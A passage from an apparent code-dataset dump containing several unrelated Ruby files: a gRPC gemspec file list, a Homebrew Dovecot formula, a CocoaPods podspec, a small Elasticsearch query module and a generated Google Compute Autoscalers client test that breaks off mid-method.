s.files += %w( third_party/boringssl/crypto/evp/print.c )
s.files += %w( third_party/boringssl/crypto/evp/scrypt.c )
s.files += %w( third_party/boringssl/crypto/evp/sign.c )
s.files += %w( third_party/boringssl/crypto/ex_data.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/bcm.c )
s.files += %w( third_party/boringssl/crypto/fipsmodule/is_fips.c )
s.files += %w( third_party/boringssl/crypto/hkdf/hkdf.c )
s.files += %w( third_party/boringssl/crypto/lhash/lhash.c )
s.files += %w( third_party/boringssl/crypto/mem.c )
s.files += %w( third_party/boringssl/crypto/obj/obj.c )
s.files += %w( third_party/boringssl/crypto/obj/obj_xref.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_all.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_info.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_lib.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_oth.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_pk8.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_pkey.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_x509.c )
s.files += %w( third_party/boringssl/crypto/pem/pem_xaux.c )
s.files += %w( third_party/boringssl/crypto/pkcs7/pkcs7.c )
s.files += %w( third_party/boringssl/crypto/pkcs7/pkcs7_x509.c )
s.files += %w( third_party/boringssl/crypto/pkcs8/p5_pbev2.c )
s.files += %w( third_party/boringssl/crypto/pkcs8/pkcs8.c )
s.files += %w( third_party/boringssl/crypto/pkcs8/pkcs8_x509.c )
s.files += %w( third_party/boringssl/crypto/poly1305/poly1305.c )
s.files += %w( third_party/boringssl/crypto/poly1305/poly1305_arm.c )
s.files += %w( third_party/boringssl/crypto/poly1305/poly1305_vec.c )
s.files += %w( third_party/boringssl/crypto/pool/pool.c )
s.files += %w( third_party/boringssl/crypto/rand_extra/deterministic.c )
s.files += %w( third_party/boringssl/crypto/rand_extra/forkunsafe.c )
s.files += %w( third_party/boringssl/crypto/rand_extra/fuchsia.c )
s.files += %w( third_party/boringssl/crypto/rand_extra/rand_extra.c )
s.files += %w( third_party/boringssl/crypto/rand_extra/windows.c )
s.files += %w( third_party/boringssl/crypto/rc4/rc4.c )
s.files += %w( third_party/boringssl/crypto/refcount_c11.c )
s.files += %w( third_party/boringssl/crypto/refcount_lock.c )
s.files += %w( third_party/boringssl/crypto/rsa_extra/rsa_asn1.c )
s.files += %w( third_party/boringssl/crypto/stack/stack.c )
s.files += %w( third_party/boringssl/crypto/thread.c )
s.files += %w( third_party/boringssl/crypto/thread_none.c )
s.files += %w( third_party/boringssl/crypto/thread_pthread.c )
s.files += %w( third_party/boringssl/crypto/thread_win.c )
s.files += %w( third_party/boringssl/crypto/x509/a_digest.c )
s.files += %w( third_party/boringssl/crypto/x509/a_sign.c )
s.files += %w( third_party/boringssl/crypto/x509/a_strex.c )
s.files += %w( third_party/boringssl/crypto/x509/a_verify.c )
s.files += %w( third_party/boringssl/crypto/x509/algorithm.c )
s.files += %w( third_party/boringssl/crypto/x509/asn1_gen.c )
s.files += %w( third_party/boringssl/crypto/x509/by_dir.c )
s.files += %w( third_party/boringssl/crypto/x509/by_file.c )
s.files += %w( third_party/boringssl/crypto/x509/i2d_pr.c )
s.files += %w( third_party/boringssl/crypto/x509/rsa_pss.c )
s.files += %w( third_party/boringssl/crypto/x509/t_crl.c )
s.files += %w( third_party/boringssl/crypto/x509/t_req.c )
s.files += %w( third_party/boringssl/crypto/x509/t_x509.c )
s.files += %w( third_party/boringssl/crypto/x509/t_x509a.c )
s.files += %w( third_party/boringssl/crypto/x509/x509.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_att.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_cmp.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_d2.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_def.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_ext.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_lu.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_obj.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_r2x.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_req.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_set.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_trs.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_txt.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_v3.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_vfy.c )
s.files += %w( third_party/boringssl/crypto/x509/x509_vpm.c )
s.files += %w( third_party/boringssl/crypto/x509/x509cset.c )
s.files += %w( third_party/boringssl/crypto/x509/x509name.c )
s.files += %w( third_party/boringssl/crypto/x509/x509rset.c )
s.files += %w( third_party/boringssl/crypto/x509/x509spki.c )
s.files += %w( third_party/boringssl/crypto/x509/x_algor.c )
s.files += %w( third_party/boringssl/crypto/x509/x_all.c )
s.files += %w( third_party/boringssl/crypto/x509/x_attrib.c )
s.files += %w( third_party/boringssl/crypto/x509/x_crl.c )
s.files += %w( third_party/boringssl/crypto/x509/x_exten.c )
s.files += %w( third_party/boringssl/crypto/x509/x_info.c )
s.files += %w( third_party/boringssl/crypto/x509/x_name.c )
s.files += %w( third_party/boringssl/crypto/x509/x_pkey.c )
s.files += %w( third_party/boringssl/crypto/x509/x_pubkey.c )
s.files += %w( third_party/boringssl/crypto/x509/x_req.c )
s.files += %w( third_party/boringssl/crypto/x509/x_sig.c )
s.files += %w( third_party/boringssl/crypto/x509/x_spki.c )
s.files += %w( third_party/boringssl/crypto/x509/x_val.c )
s.files += %w( third_party/boringssl/crypto/x509/x_x509.c )
s.files += %w( third_party/boringssl/crypto/x509/x_x509a.c )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_cache.c )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_data.c )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_lib.c )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_map.c )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_node.c )
s.files += %w( third_party/boringssl/crypto/x509v3/pcy_tree.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_akey.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_akeya.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_alt.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_bcons.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_bitst.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_conf.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_cpols.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_crld.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_enum.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_extku.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_genn.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_ia5.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_info.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_int.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_lib.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_ncons.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_pci.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_pcia.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_pcons.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_pku.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_pmaps.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_prn.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_purp.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_skey.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_sxnet.c )
s.files += %w( third_party/boringssl/crypto/x509v3/v3_utl.c )
s.files += %w( third_party/boringssl/ssl/bio_ssl.cc )
s.files += %w( third_party/boringssl/ssl/custom_extensions.cc )
s.files += %w( third_party/boringssl/ssl/d1_both.cc )
s.files += %w( third_party/boringssl/ssl/d1_lib.cc )
s.files += %w( third_party/boringssl/ssl/d1_pkt.cc )
s.files += %w( third_party/boringssl/ssl/d1_srtp.cc )
s.files += %w( third_party/boringssl/ssl/dtls_method.cc )
s.files += %w( third_party/boringssl/ssl/dtls_record.cc )
s.files += %w( third_party/boringssl/ssl/handoff.cc )
s.files += %w( third_party/boringssl/ssl/handshake.cc )
s.files += %w( third_party/boringssl/ssl/handshake_client.cc )
s.files += %w( third_party/boringssl/ssl/handshake_server.cc )
s.files += %w( third_party/boringssl/ssl/s3_both.cc )
s.files += %w( third_party/boringssl/ssl/s3_lib.cc )
s.files += %w( third_party/boringssl/ssl/s3_pkt.cc )
s.files += %w( third_party/boringssl/ssl/ssl_aead_ctx.cc )
s.files += %w( third_party/boringssl/ssl/ssl_asn1.cc )
s.files += %w( third_party/boringssl/ssl/ssl_buffer.cc )
s.files += %w( third_party/boringssl/ssl/ssl_cert.cc )
s.files += %w( third_party/boringssl/ssl/ssl_cipher.cc )
s.files += %w( third_party/boringssl/ssl/ssl_file.cc )
s.files += %w( third_party/boringssl/ssl/ssl_key_share.cc )
s.files += %w( third_party/boringssl/ssl/ssl_lib.cc )
s.files += %w( third_party/boringssl/ssl/ssl_privkey.cc )
s.files += %w( third_party/boringssl/ssl/ssl_session.cc )
s.files += %w( third_party/boringssl/ssl/ssl_stat.cc )
s.files += %w( third_party/boringssl/ssl/ssl_transcript.cc )
s.files += %w( third_party/boringssl/ssl/ssl_versions.cc )
s.files += %w( third_party/boringssl/ssl/ssl_x509.cc )
s.files += %w( third_party/boringssl/ssl/t1_enc.cc )
s.files += %w( third_party/boringssl/ssl/t1_lib.cc )
s.files += %w( third_party/boringssl/ssl/tls13_both.cc )
s.files += %w( third_party/boringssl/ssl/tls13_client.cc )
s.files += %w( third_party/boringssl/ssl/tls13_enc.cc )
s.files += %w( third_party/boringssl/ssl/tls13_server.cc )
s.files += %w( third_party/boringssl/ssl/tls_method.cc )
s.files += %w( third_party/boringssl/ssl/tls_record.cc )
s.files += %w( third_party/boringssl/third_party/fiat/curve25519.c )
s.files += %w( third_party/zlib/crc32.h )
s.files += %w( third_party/zlib/deflate.h )
s.files += %w( third_party/zlib/gzguts.h )
s.files += %w( third_party/zlib/inffast.h )
s.files += %w( third_party/zlib/inffixed.h )
s.files += %w( third_party/zlib/inflate.h )
s.files += %w( third_party/zlib/inftrees.h )
s.files += %w( third_party/zlib/trees.h )
s.files += %w( third_party/zlib/zconf.h )
s.files += %w( third_party/zlib/zlib.h )
s.files += %w( third_party/zlib/zutil.h )
s.files += %w( third_party/zlib/adler32.c )
s.files += %w( third_party/zlib/compress.c )
s.files += %w( third_party/zlib/crc32.c )
s.files += %w( third_party/zlib/deflate.c )
s.files += %w( third_party/zlib/gzclose.c )
s.files += %w( third_party/zlib/gzlib.c )
s.files += %w( third_party/zlib/gzread.c )
s.files += %w( third_party/zlib/gzwrite.c )
s.files += %w( third_party/zlib/infback.c )
s.files += %w( third_party/zlib/inffast.c )
s.files += %w( third_party/zlib/inflate.c )
s.files += %w( third_party/zlib/inftrees.c )
s.files += %w( third_party/zlib/trees.c )
s.files += %w( third_party/zlib/uncompr.c )
s.files += %w( third_party/zlib/zutil.c )
s.files += %w( third_party/cares/cares/ares.h )
s.files += %w( third_party/cares/cares/ares_data.h )
s.files += %w( third_party/cares/cares/ares_dns.h )
s.files += %w( third_party/cares/cares/ares_getenv.h )
s.files += %w( third_party/cares/cares/ares_getopt.h )
s.files += %w( third_party/cares/cares/ares_inet_net_pton.h )
s.files += %w( third_party/cares/cares/ares_iphlpapi.h )
s.files += %w( third_party/cares/cares/ares_ipv6.h )
s.files += %w( third_party/cares/cares/ares_library_init.h )
s.files += %w( third_party/cares/cares/ares_llist.h )
s.files += %w( third_party/cares/cares/ares_nowarn.h )
s.files += %w( third_party/cares/cares/ares_platform.h )
s.files += %w( third_party/cares/cares/ares_private.h )
s.files += %w( third_party/cares/cares/ares_rules.h )
s.files += %w( third_party/cares/cares/ares_setup.h )
s.files += %w( third_party/cares/cares/ares_strcasecmp.h )
s.files += %w( third_party/cares/cares/ares_strdup.h )
s.files += %w( third_party/cares/cares/ares_strsplit.h )
s.files += %w( third_party/cares/cares/ares_version.h )
s.files += %w( third_party/cares/cares/bitncmp.h )
s.files += %w( third_party/cares/cares/config-win32.h )
s.files += %w( third_party/cares/cares/setup_once.h )
s.files += %w( third_party/cares/ares_build.h )
s.files += %w( third_party/cares/config_darwin/ares_config.h )
s.files += %w( third_party/cares/config_freebsd/ares_config.h )
s.files += %w( third_party/cares/config_linux/ares_config.h )
s.files += %w( third_party/cares/config_openbsd/ares_config.h )
s.files += %w( third_party/cares/cares/ares__close_sockets.c )
s.files += %w( third_party/cares/cares/ares__get_hostent.c )
s.files += %w( third_party/cares/cares/ares__read_line.c )
s.files += %w( third_party/cares/cares/ares__timeval.c )
s.files += %w( third_party/cares/cares/ares_cancel.c )
s.files += %w( third_party/cares/cares/ares_create_query.c )
s.files += %w( third_party/cares/cares/ares_data.c )
s.files += %w( third_party/cares/cares/ares_destroy.c )
s.files += %w( third_party/cares/cares/ares_expand_name.c )
s.files += %w( third_party/cares/cares/ares_expand_string.c )
s.files += %w( third_party/cares/cares/ares_fds.c )
s.files += %w( third_party/cares/cares/ares_free_hostent.c )
s.files += %w( third_party/cares/cares/ares_free_string.c )
s.files += %w( third_party/cares/cares/ares_getenv.c )
s.files += %w( third_party/cares/cares/ares_gethostbyaddr.c )
s.files += %w( third_party/cares/cares/ares_gethostbyname.c )
s.files += %w( third_party/cares/cares/ares_getnameinfo.c )
s.files += %w( third_party/cares/cares/ares_getopt.c )
s.files += %w( third_party/cares/cares/ares_getsock.c )
s.files += %w( third_party/cares/cares/ares_init.c )
s.files += %w( third_party/cares/cares/ares_library_init.c )
s.files += %w( third_party/cares/cares/ares_llist.c )
s.files += %w( third_party/cares/cares/ares_mkquery.c )
s.files += %w( third_party/cares/cares/ares_nowarn.c )
s.files += %w( third_party/cares/cares/ares_options.c )
s.files += %w( third_party/cares/cares/ares_parse_a_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_aaaa_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_mx_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_naptr_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_ns_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_ptr_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_soa_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_srv_reply.c )
s.files += %w( third_party/cares/cares/ares_parse_txt_reply.c )
s.files += %w( third_party/cares/cares/ares_platform.c )
s.files += %w( third_party/cares/cares/ares_process.c )
s.files += %w( third_party/cares/cares/ares_query.c )
s.files += %w( third_party/cares/cares/ares_search.c )
s.files += %w( third_party/cares/cares/ares_send.c )
s.files += %w( third_party/cares/cares/ares_strcasecmp.c )
s.files += %w( third_party/cares/cares/ares_strdup.c )
s.files += %w( third_party/cares/cares/ares_strerror.c )
s.files += %w( third_party/cares/cares/ares_strsplit.c )
s.files += %w( third_party/cares/cares/ares_timeout.c )
s.files += %w( third_party/cares/cares/ares_version.c )
s.files += %w( third_party/cares/cares/ares_writev.c )
s.files += %w( third_party/cares/cares/bitncmp.c )
s.files += %w( third_party/cares/cares/inet_net_pton.c )
s.files += %w( third_party/cares/cares/inet_ntop.c )
s.files += %w( third_party/cares/cares/windows_port.c )
end
| 63.339734 | 119 | 0.712682 |
d58c8fd59cf00dccfab631fb78de830530bb36dc | 2,952 | class Dovecot < Formula
desc "IMAP/POP3 server"
homepage "http://dovecot.org/"
url "http://dovecot.org/releases/2.2/dovecot-2.2.21.tar.gz"
mirror "https://fossies.org/linux/misc/dovecot-2.2.21.tar.gz"
sha256 "7ab7139e59e1f0353bf9c24251f13c893cf1a6ef4bcc47e2d44de437108d0b20"
bottle do
sha256 "e21b7c37c57abddc4d85f64669e80ea0c0c09bc7abcb2a78aba04a9f79c490c2" => :el_capitan
sha256 "58587837e148f035bce2efbf7aeda42565a3857f478bf7b327740e5a30a88134" => :yosemite
sha256 "1cb51fc47506ddf25e4887d88f5aebbec894cdf4f26b3d903a561ec8d57eda1a" => :mavericks
end
option "with-pam", "Build with PAM support"
option "with-pigeonhole", "Add Sieve addon for Dovecot mailserver"
option "with-pigeonhole-unfinished-features", "Build unfinished new Sieve addon features/extensions"
depends_on "openssl"
depends_on "clucene" => :optional
resource "pigeonhole" do
url "http://pigeonhole.dovecot.org/releases/2.2/dovecot-2.2-pigeonhole-0.4.9.tar.gz"
sha256 "82892f876d26008a076973dfddf1cffaf5a0451825fd44e06287e94b89078649"
end
def install
args = %W[
--prefix=#{prefix}
--disable-dependency-tracking
--libexecdir=#{libexec}
--sysconfdir=#{etc}
--localstatedir=#{var}
--with-ssl=openssl
--with-sqlite
--with-zlib
--with-bzlib
]
args << "--with-lucene" if build.with? "clucene"
args << "--with-pam" if build.with? "pam"
system "./configure", *args
system "make", "install"
if build.with? "pigeonhole"
resource("pigeonhole").stage do
args = %W[
--disable-dependency-tracking
--with-dovecot=#{lib}/dovecot
--prefix=#{prefix}
]
args << "--with-unfinished-features" if build.with? "pigeonhole-unfinished-features"
system "./configure", *args
system "make"
system "make", "install"
end
end
end
plist_options :startup => true
def plist; <<-EOS.undent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>KeepAlive</key>
<false/>
<key>RunAtLoad</key>
<true/>
<key>ProgramArguments</key>
<array>
<string>#{opt_sbin}/dovecot</string>
<string>-F</string>
</array>
<key>StandardErrorPath</key>
<string>#{var}/log/dovecot/dovecot.log</string>
<key>StandardOutPath</key>
<string>#{var}/log/dovecot/dovecot.log</string>
</dict>
</plist>
EOS
end
def caveats; <<-EOS.undent
For Dovecot to work, you may need to create a dovecot user
and group depending on your configuration file options.
EOS
end
test do
assert_match /#{version}/, shell_output("#{sbin}/dovecot --version")
end
end
| 29.818182 | 115 | 0.64668 |
7a06f9047f7c4fcb62e75f0b031893777fa902b1 | 76 | json.partial! "battle_systems/battle_system", battle_system: @battle_system
| 38 | 75 | 0.842105 |
acd4153ce3acbabad87d266fd08075c8cf4c95b7 | 1,968 | #
# Be sure to run `pod spec lint ios-dynamsoft-camera-sdk.podspec' to ensure this is a
# valid spec and to remove all comments including this before submitting the spec.
#
# To learn more about Podspec attributes see http://docs.cocoapods.org/specification.html
# To see working Podspecs in the CocoaPods repo see https://github.com/CocoaPods/Specs/
#
Pod::Spec.new do |s|
s.name = "ios-dynamsoft-camera-sdk"
s.version = "2.1"
s.summary = "Developers can have complete control over a scanner, e.g., exposure, iris, auto focus, etc."
s.description = <<-DESC
Dynamsoft Camera SDK provides Objec-C/Swift APIs that enable you to easily capture images and documents from iPhone Video Class (UVC) compatible webcams. It supports document edge detection from a video stream and processing features including perspective correction, noise removal, contrast, brightness, and color filter (convert to a colored/grey document).
DESC
s.homepage = "https://github.com/copyblogger-sean/ios-dynamsoft-camera-sdk"
s.license= { :type => "MIT", :file => "LICENSE" }
s.author = { "Dynamsoft Camera SDK" => "[email protected]" }
s.platform = :ios
s.source = { :git => "https://github.com/copyblogger-sean/ios-dynamsoft-camera-sdk.git", :tag => "#{s.version}" }
#s.source_files = "DynamsoftCameraSDK-Bridging-Header.h",""
s.vendored_frameworks = 'DynamsoftCameraSDK.framework'
s.resources = "DynamsoftCameraSDKResource.bundle", ""
# s.public_header_files = "Classes/**/*.h"
# s.preserve_paths = "FilesToSave", "MoreFilesToSave"
s.libraries = "stdc++", "sqlite3.0"
# ――― Project Settings ――――――――――――――――――――――――――――――――――――――――――――――――――――――――― #
s.requires_arc = true
s.compiler_flags = '-Objc'
#s.xcconfig = {'OBJECTIVE-C_BRIDGING_HEADER' => 'test.h'}
#s.xcconfig = { 'OTHER_SWIFT_FLAGS' => 'test.h' }
#$(SDKROOT)/usr/include/libxml2
end
| 37.132075 | 379 | 0.664634 |
e232908fd3e4f5529f4e264839b5b4ecaa168f78 | 269 | require 'elasticsearch/dsl'
module Queries::Random
extend Elasticsearch::DSL::Search
def self.query
search do
query do
function_score do
functions << {random_score: {seed: Random.new_seed.to_s}}
end
end
end
end
end
| 16.8125 | 67 | 0.635688 |
03cff68cb81e7448fbda0b7ce9e3024c9b93965e | 20,363 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
require "helper"
require "gapic/rest"
require "google/cloud/compute/v1/compute_pb"
require "google/cloud/compute/v1/autoscalers"
class ::Google::Cloud::Compute::V1::Autoscalers::ClientTest < Minitest::Test
class ClientStub
attr_accessor :call_count, :requests
def initialize response, &block
@response = response
@block = block
@call_count = 0
@requests = []
end
def make_get_request uri:, params: {}, options: {}
make_http_request :get, uri: uri, body: nil, params: params, options: options
end
def make_delete_request uri:, params: {}, options: {}
make_http_request :delete, uri: uri, body: nil, params: params, options: options
end
def make_post_request uri:, body: nil, params: {}, options: {}
make_http_request :post, uri: uri, body: body, params: params, options: options
end
def make_patch_request uri:, body:, params: {}, options: {}
make_http_request :patch, uri: uri, body: body, params: params, options: options
end
def make_put_request uri:, body:, params: {}, options: {}
make_http_request :put, uri: uri, body: body, params: params, options: options
end
def make_http_request *args, **kwargs
@call_count += 1
@requests << @block&.call(*args, **kwargs)
@response
end
end
def test_aggregated_list
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::AutoscalerAggregatedList.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
filter = "hello world"
include_all_scopes = true
max_results = 42
order_by = "hello world"
page_token = "hello world"
project = "hello world"
return_partial_success = true
aggregated_list_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :get, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert params.key? "filter"
assert params.key? "includeAllScopes"
assert params.key? "maxResults"
assert params.key? "orderBy"
assert params.key? "pageToken"
assert params.key? "returnPartialSuccess"
assert_nil body
end
Gapic::Rest::ClientStub.stub :new, aggregated_list_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
client.aggregated_list({ filter: filter, include_all_scopes: include_all_scopes, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.aggregated_list filter: filter, include_all_scopes: include_all_scopes, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.aggregated_list ::Google::Cloud::Compute::V1::AggregatedListAutoscalersRequest.new(filter: filter, include_all_scopes: include_all_scopes, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.aggregated_list({ filter: filter, include_all_scopes: include_all_scopes, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.aggregated_list(::Google::Cloud::Compute::V1::AggregatedListAutoscalersRequest.new(filter: filter, include_all_scopes: include_all_scopes, max_results: max_results, order_by: order_by, page_token: page_token, project: project, return_partial_success: return_partial_success), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, aggregated_list_client_stub.call_count
end
end
def test_delete
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::Operation.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
autoscaler = "hello world"
project = "hello world"
request_id = "hello world"
zone = "hello world"
delete_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :delete, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert params.key? "requestId"
assert_nil body
end
Gapic::Rest::ClientStub.stub :new, delete_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
client.delete({ autoscaler: autoscaler, project: project, request_id: request_id, zone: zone }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.delete autoscaler: autoscaler, project: project, request_id: request_id, zone: zone do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.delete ::Google::Cloud::Compute::V1::DeleteAutoscalerRequest.new(autoscaler: autoscaler, project: project, request_id: request_id, zone: zone) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.delete({ autoscaler: autoscaler, project: project, request_id: request_id, zone: zone }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.delete(::Google::Cloud::Compute::V1::DeleteAutoscalerRequest.new(autoscaler: autoscaler, project: project, request_id: request_id, zone: zone), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, delete_client_stub.call_count
end
end
def test_get
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::Autoscaler.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
autoscaler = "hello world"
project = "hello world"
zone = "hello world"
get_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :get, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert_nil body
end
Gapic::Rest::ClientStub.stub :new, get_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
client.get({ autoscaler: autoscaler, project: project, zone: zone }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.get autoscaler: autoscaler, project: project, zone: zone do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.get ::Google::Cloud::Compute::V1::GetAutoscalerRequest.new(autoscaler: autoscaler, project: project, zone: zone) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.get({ autoscaler: autoscaler, project: project, zone: zone }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.get(::Google::Cloud::Compute::V1::GetAutoscalerRequest.new(autoscaler: autoscaler, project: project, zone: zone), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, get_client_stub.call_count
end
end
def test_insert
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::Operation.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
autoscaler_resource = {}
project = "hello world"
request_id = "hello world"
zone = "hello world"
insert_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :post, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert params.key? "requestId"
refute_nil body
end
Gapic::Rest::ClientStub.stub :new, insert_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
client.insert({ autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone }) do |result, response|
assert_equal http_response, response
end
# Use named arguments
client.insert autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone do |result, response|
assert_equal http_response, response
end
# Use protobuf object
client.insert ::Google::Cloud::Compute::V1::InsertAutoscalerRequest.new(autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone) do |result, response|
assert_equal http_response, response
end
# Use hash object with options
client.insert({ autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone }, call_options) do |result, response|
assert_equal http_response, response
end
# Use protobuf object with options
client.insert(::Google::Cloud::Compute::V1::InsertAutoscalerRequest.new(autoscaler_resource: autoscaler_resource, project: project, request_id: request_id, zone: zone), call_options) do |result, response|
assert_equal http_response, response
end
# Verify method calls
assert_equal 5, insert_client_stub.call_count
end
end
def test_list
# Create test objects.
client_result = ::Google::Cloud::Compute::V1::AutoscalerList.new
http_response = OpenStruct.new body: client_result.to_json
call_options = {}
# Create request parameters for a unary method.
filter = "hello world"
max_results = 42
order_by = "hello world"
page_token = "hello world"
project = "hello world"
return_partial_success = true
zone = "hello world"
list_client_stub = ClientStub.new http_response do |verb, uri:, body:, params:, options:|
assert_equal :get, verb
assert options.metadata.key? :"x-goog-api-client"
assert options.metadata[:"x-goog-api-client"].include? "rest"
refute options.metadata[:"x-goog-api-client"].include? "grpc"
assert params.key? "filter"
assert params.key? "maxResults"
assert params.key? "orderBy"
assert params.key? "pageToken"
assert params.key? "returnPartialSuccess"
assert_nil body
end
Gapic::Rest::ClientStub.stub :new, list_client_stub do
# Create client
client = ::Google::Cloud::Compute::V1::Autoscalers::Rest::Client.new do |config|
config.credentials = :dummy_value
end
# Use hash object
